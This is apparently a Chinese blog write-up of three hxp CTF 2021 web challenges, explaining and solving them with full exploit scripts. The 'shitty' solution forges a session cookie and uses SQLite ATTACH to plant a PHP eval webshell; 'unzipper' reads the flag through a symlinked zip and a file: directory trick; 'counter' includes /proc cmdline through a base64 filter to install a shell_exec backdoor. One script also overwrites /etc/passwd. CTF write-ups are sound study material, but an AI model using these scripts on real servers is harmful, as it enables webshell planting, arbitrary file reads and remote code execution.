2021hxp

shitty

看源码,是一个sqlite,但是看了一下docker文件,最终是要让我们执行/readflag的,所以我们肯定要命令执行,看看能不能写shell进去

之前学过sqlite写shell的,所以直接拿出来看看,可以使用attach写shell,而且也没看到什么过滤之类的,但是要在哪个语句写倒是个问题

我们可控的命令执行语句只有这两条

function insert_entry($db, $content, $user_id) {
$sth = $db->prepare('INSERT INTO entry (content, user_id) VALUES (?, ?)');
$sth->execute([$content, $user_id]);
}

function delete_entry($db, $entry_id, $user_id) {
$db->exec("DELETE from entry WHERE {$user_id} <> 0 AND id = {$entry_id}");

第一个execute

execute(sql[, parameters])
执行一条 SQL 语句。 可以使用 占位符 将值绑定到语句中

exec

可以执行多条SQL指令

但其实看了一下,也确实是下面这个delete_entry能构造闭合然后去命令执行多条语句。

在这个语句当中,有三个变量,跟了一下,发现只有user_id是可控的,而user_id是前面的seesion的值,也就是说,我们需要伪造session

img

那么现在思路其实就很明确了:

伪造session->sqlite使用attach写马

首先看看他的session是如何生成的。主要是以下这部分内容,

else {
$session = explode('|', $_COOKIE['session']);
if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
exit();
}
$id = $session[0];
$mac = $session[1];
}

以前看到伪造session都觉得很麻烦,不想做,现在是时候去面对它了

这题伪造session的漏洞在于crypt,首先我们知道,hash_quals是对比两个参数的哈希值是否相同,然后crypt有一个这样的特性,由于它是启用二进制的形式输出,则会导致存在以0字节开头的id经过md5加密以后的值和mac值相等,那么我们只要找到这个mac值,然后再去重新跑id,让他和我们的恶意语句拼接以后的值经过crypt后为0字节就可以绕过了。那么如何获取这个mac值呢?就是去循环跑,因为要得到两个一样的mac值基本上是不可能的,除非这两个id都为0字节id。

接下来写一下脚本:

这里发现了一个以前没发现的细节。。。

在python中
s=request.session
s.get()
用了第一句以后,接下来在用s来发送请求,此时已经表示在同一个会话下了,如果想要得到不同的cookie,需要直接用requests.get()来发送请求

最后使用多线程去跑,可以提高成功率

import requests
from urllib.parse import unquote
from urllib.parse import quote
import threading
import random
url="http://110.42.133.120:8080/"
def get_mac():
mac_list=[]
rtmac=""
while True:
try:
re=requests.get(url)
session=unquote(re.headers['Set-Cookie'])
session=session.split("=")[1].split("|")
orgin_id=session[0]
mac=session[1]
if mac in mac_list:
return mac
else:
mac_list.append(mac)
print("orgin_id",orgin_id)
print("mac", mac)
except:
pass
def writ_shell(mac,id):
payload="1;ATTACH DATABASE '/var/www/html/data/tlif3.php' AS shell ;create TABLE shell . exp ( webshell text);insert INTO shell . exp (webshell) VALUES (x'3c3f706870206576616c28245f4745545b22726464225d293b3f3e');--"
session = quote("{payload}{id}|".format(payload=payload,id=i)+mac)
cookie = {
"session":session,
}
res = requests.get(url,cookies=cookie)
if "Blog" in res.text or int(len(res.text)>0):
print(cookie)
print(res.content)
data={
"content":"hello"
}
pushcontent=requests.post(url,data=data,cookie=cookie)
print(pushcontent.content)
print("\n::delete::\n")
data={
"delete":"1"
}
delete=requests.post(url,data=data,cookie=cookie)
print(delete.content)
exit(-1)

if __name__=="__main__":
mac=get_mac()
#mac="a"
for num in range(1000):
print("num: ", num)
thread_list = []
for i in range(0, 20):
id = random.randint(1, 9223372036854775807)
m = threading.Thread(target=writ_shell, args=(mac,id))
thread_list.append(m)
for m in thread_list:
m.start()
for m in thread_list:
m.join()

unzipper

<?php
session_start() or die('session_start');

$_SESSION['sandbox'] ??= bin2hex(random_bytes(16));
$sandbox = 'data/' . $_SESSION['sandbox'];
$lock = fopen($sandbox . '.lock', 'w') or die('fopen');
flock($lock, LOCK_EX | LOCK_NB) or die('flock');

@mkdir($sandbox, 0700);
chdir($sandbox) or die('chdir');

if (isset($_FILES['file']))
system('ulimit -v 8192 && /usr/bin/timeout -s KILL 2 /usr/bin/unzip -nqqd . ' . escapeshellarg($_FILES['file']['tmp_name']));
else if (isset($_GET['file']))
if (0 === preg_match('/(^$|flag)/i', realpath($_GET['file']) ?: ''))
readfile($_GET['file']);

fclose($lock);

看到压缩文件马上就想到软链接了,正好之前有一个比赛没去做到,这次正好复现熟悉一下。

审计一下代码,发现在读文件的时候会经过一些过滤操作,有个realpath的函数

expr1?:expr3 expr1在求值时如果为true返回expr1否则返回expr3

接下来理解

理解一下什么是软链接

软链接: 保存了其代表的文件的绝对路径,是另外一种文件,在硬盘上有独立的区块,访问时替换自身路径。

通俗来说就是将一个文件A的绝对路径放在另一个文件B里面,访问这个B文件的路径实际上是访问A文件。
img

接下来我们尝试上传一下,可以看到,使用readfile同样可以读取其中的软链接

img

但是在这题,没有那么容易,因为他新增加了一个realpath,可以看到使用了realpath以后,显示的就是他的软链接了,此时要是用readfile+软链接读取flag就不太可能了

img

这里还需要补充一点,软链接需要和zip组合才能发挥作用,这样解压以后的软链接此时链接到才是该台服务器上的文件。如果只是单纯软链接存在是不行的。比如说我在A电脑上创建了一个软链接,将这个软链接文件放到B上,访问这个软链接文件的时候,数据仍然是A电脑上的。

那么这个题目的重点就是绕过这个正则匹配

这里就是一个小trick,readfile是可以读取php的伪协议的,那么也就是说,我们上传一个zip,里面包含两个文件,一个是伪协议,伪协议读取的是另一个文件,而另一个文件的内容就是flag的地址

上面这个方法不行,所以再想想,首先readfile可以读取协议,那么我们就可以用伪协议,这点是确定的,那么要如何使用伪协议来绕过呢?

我们知道,通过realpath,软链接就会被直接转化为真实链接,就无法绕过正则,但如过我们将一个读取文件的协议作为各个目录串联起来,这样在realpath这里,会被解析为一个目录,而在readfile又会被解析为协议
第一级目录是file:
第二级目录是/var这样一直往下
然后完整目录连接起来就是:
file:/var/www/html/data/xxxxx/软链接
当我们访问
file:///var/www/html/data/xxxxx/的时候
经过realpath处理以后会变成
file:/var/www/html/data/xxxxx/软链接
此时则是指向一个空目录
而在readfile中又是
file:///var/www/html/data/xxxxx/软链接
此时就可以读取到flag了

但是这样的话在构造压缩包的时候其实挺麻烦的

另外一个考点就是通过session得到文件保存路径了,开了session,可以直接

session_start() or die('session_start');

$_SESSION['sandbox'] ??= bin2hex(random_bytes(16));
$sandbox = 'data/' . $_SESSION['sandbox'];

因为有docker,直接find一下session的保存路径就可以了

img

所以我们的解题步骤也很明了了

这里还有一个比较奇怪的事,当我在本地测试的时候,怎么弄都是false

img

后面又去瞅了一下源码才发现,原来它是在所创建的新的目录下进行操作的,所以可以使用相对路径!!!!所以此时realpath在检查file://xxx的时候返回的就是true,如果没有这个,返回的就是false了

$lock = fopen($sandbox . '.lock', 'w') or die('fopen');
fclose

讲一下这个脚本的核心的思路,就是创建一个文件目录,还有一个软链接,将两个合并压缩即可

import requests
import re
import os
s=requests.session()
url="http://110.42.133.120:1234"

sess_r=s.get(url)
sess=sess_r.headers['Set-Cookie']
sess_f=re.findall(r'=(.*?);',sess)
print(sess_f)
file_path=f'/var/lib/php/sessions/sess_{sess_f[0]}'
sandbox=s.get(url+f'/?file={file_path}')
print(sandbox.text)
flag_path=re.findall(r'"(.*?)"',sandbox.text)
print(flag_path)
#创建zip文件
soft_fi="leak"
zip_path=f'file:///var/www/html/data/{flag_path[0]}/{soft_fi}'
os.system("rm -rf leak go.zip file:")
os.system(f"ln -s /flag.txt leak")
os.system(f"mkdir -p {zip_path}")
os.system(f"zip --symlinks -r go.zip file: {soft_fi}")
file={
"file":open('./go.zip','rb')
}
r=s.post(url,files=file)
flag=s.get(url+f'/?file={zip_path}')
print(flag.text)
img

小结

这道题其实核心思路不难,但是有很多细节要注意,而且可能也是自己理解不够透彻,审计能力还不够强,导致很多细节没注意到,卡了很久。这里重新理一下。

1.审计源码,发现代码是可以直接查询上传内容的,也就是可以使用相对路径,因为开了fopen

2.发现路径是存储在session当中,可以通过docker找到session存放路径

3.使用了unzip解压指令,意味着我们可以使用软链接读取文件,但是由于正则匹配的存在,主要是realpath,导致我们无法直接使用软链接,需要绕过。

3.因为readpath可以读取url,也即可以使用伪协议来读取文件,所以我们可以创建一个由协议组成的文件目录级,当realpath读取这个伪协议的时候,会将其视为一个文件目录,从而绕过验证,指的一提的是,因为此时可以使用相对路径读取才有这个操作的可能。而我们在另外创建一个软链接,而针对file://协议而言,读取的是绝对路径,所以我们就可以读取到这个软链接。

解法二

这个解法二是队里大师傅想的,简直就是天才,重点在于他那个/etc/passwd,看一下我的,还去找session,就很麻烦,他直接覆盖一下,直接读/etc/passwd就可以读到flag了。

import requests
import zipfile
import os
url = "http://65.108.176.76:8200/"
file_name = "file:///flag.txt"
file_ln = "/etc/passwd"
os.system("rm -f "+file_name)
os.system("cp /etc/passwd- /etc/passwd")
os.system("rm -f hi.zip")
os.symlink(file_ln, file_name)
os.system("zip -ry file.zip file\:/")
req = requests.session()
file = {"file":open("file.zip",'rb')}
res = req.post(url,files=file)
print("upload success")
print(res.text)

res = req.get(url+"?file="+file_name)
print(url+"?file="+file_name)
print("get file success")
print(res.text)

counter

<?php
$rmf = function($file){
system('rm -f -- '.escapeshellarg($file));
};

$page = $_GET['page'] ?? 'default';
chdir('./data');

if(isset($_GET['reset']) && preg_match('/^[a-zA-Z0-9]+$/', $page) === 1) {
$rmf($page);
}

file_put_contents($page, file_get_contents($page) + 1);
include_once($page);

看起来简单,但是不会做的题目,看完wp大概是理解了

因为系统命令会创建proc/$PID/cmdline,因此我们可以通过包含这个进程来进行命令执行,但是我们只能输入字母和数字,那么怎么命令执行可以执行只由数字字母组成的呢?那就是base64编码以后的内容,因此我们可以使用phpfilter的base64解码包含文件名就可以进行命令执行了。

但是复现没成功,感觉以我现在的实力是做不出来了。。。
贴一下脚本,以后研究吧

#!/usr/bin/env python3
import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signal
from urllib.parse import urlparse,quote_from_bytes
def urlencode(data, safe=''):
return quote_from_bytes(data, safe)

url = f'http://{sys.argv[1]}:{sys.argv[2]}/'

backdoor_name = secrets.token_hex(8) + '.php'
secret = secrets.token_hex(16)
secret_hash = hashlib.sha1(secret.encode()).hexdigest()

print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr)
print('[+] secret: ' + secret, file=sys.stderr)

code = f"<?php if(sha1($_GET['s'])==='{secret_hash}')echo shell_exec($_GET['c']);".encode()
payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash}')file_put_contents("{backdoor_name}",$_GET['p']);/*""".encode()
payload_encoded = b'abcdfg' + base64.b64encode(payload)
print(payload_encoded)
assert re.match(b'^[a-zA-Z0-9]+$', payload_encoded)

# check if the payload would work on our local php setup
with tempfile.NamedTemporaryFile() as tmp:
tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'"+ payload_encoded +b"'")
tmp.flush()
o = subprocess.check_output(['php','-r', f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name}");'])
print(o, file=sys.stderr)
assert payload in o

os.chdir('/tmp')
subprocess.check_output(['php','-r', f'$_GET = ["p" => "test", "s" => "{secret}"]; include("php://filter/convert.base64-decode/resource={tmp.name}");'])
with open(backdoor_name) as f:
d = f.read()
assert d == 'test'


pid = -1
N = 10

done = False

def worker(i):
time.sleep(1)
while not done:
print(f'[+] starting include worker: {pid + i}', file=sys.stderr)
s = f"""bombardier -c 1 -d 3m '{url}?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i}%2Fcmdline&p={urlencode(code)}&s={secret}' > /dev/null"""
os.system(s)

def delete_worker():
time.sleep(1)
while not done:
print('[+] starting delete worker', file=sys.stderr)
s = f"""bombardier -c 8 -d 3m '{url}?page={payload_encoded.decode()}&reset=1' > /dev/null"""
os.system(s)

for i in range(N):
threading.Thread(target=worker, args=(i, ), daemon=True).start()
threading.Thread(target=delete_worker, daemon=True).start()


while not done:
try:
r = requests.get(url, params={
'page': '/proc/sys/kernel/ns_last_pid'
}, timeout=10)
print(f'[+] pid: {pid}', file=sys.stderr)
if int(r.text) > (pid+N):
pid = int(r.text) + 200
print(f'[+] pid overflow: {pid}', file=sys.stderr)
os.system('pkill -9 -x bombardier')

r = requests.get(f'{url}data/{backdoor_name}', params={
's' : secret,
'c': f'id; ls -l /; /readflag; rm {backdoor_name}'
}, timeout=10)

if r.status_code == 200:
print(r.text)
done = True
os.system('pkill -9 -x bombardier')
exit()


time.sleep(0.5)
except Exception as e:
print(e, file=sys.stderr)
Author

vague huang

Posted on

2022-01-11

Updated on

2022-01-25

Licensed under

Comments